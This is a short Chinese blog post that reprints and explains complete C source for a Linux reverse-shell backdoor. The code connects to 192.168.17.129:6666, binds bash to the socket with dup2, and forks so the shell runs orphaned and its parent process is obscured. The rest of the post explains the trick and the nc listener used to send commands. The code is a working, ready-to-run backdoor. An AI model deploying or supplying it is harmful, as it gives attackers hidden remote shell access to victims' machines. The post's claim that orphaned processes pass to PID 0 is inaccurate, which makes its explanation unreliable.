An awesome reverse shell analysis
偶然看到了一个看上去简单却又没那么简单的shellcode,但是却隐藏了很多有意思的事情,不妨一起来看一下。
show me the code
// from https://www.mi1k7ea.com/2019/03/24/C编写实现Linux反弹shell/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>
int tcp_port = 6666;
char *ip = "192.168.17.129";
void reverse_shell(){
int fd;
if ( fork() <= 0){ // 让子进程执行execve,父进程退出,
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);
fd = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
exit(0);
}
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execve("/bin/bash", 0LL, 0LL);
}
return;
}
void main(int argc, char const *argv[])
{
reverse_shell();
return 0;
}
效果
正常的反弹shell backdoor,在当前bash下执行:
- 子进程不用管
- 进程的PPID是当前的shell
本backdoor的效果:
- PPID=0
简单分析
核心思想:process的parent的进程退出了,那么孤儿进程就会给PID=0的进程。
代码中的dup2是什么意思呢?为什么可以从远程输入命令给它呢?
原理如下:
- dup2的操作是把0 1 2 都指向socket。也就是输入来自socket,输出输向socket。
- nc -lvvp 的作用就是在建立连接之后,向这个client发送数据的而已。
- 命令whoami作为输入发过去,client看到标准输入里有东西了,就读过来了。client的输出也还是输向socket,那么nc那边就收到了。
(关于原理我还画了一张丑陋的图,这就暂时就不贴出来了...)
总结
起初我们在bash中执行program,bash退出则program退出。
因此引入nohup,可以解决当前shell退出导致的,program退出问题。
而本方法:用fork在child process中执行操作,让parent退出,那么child自动移交给PID=0的进程了。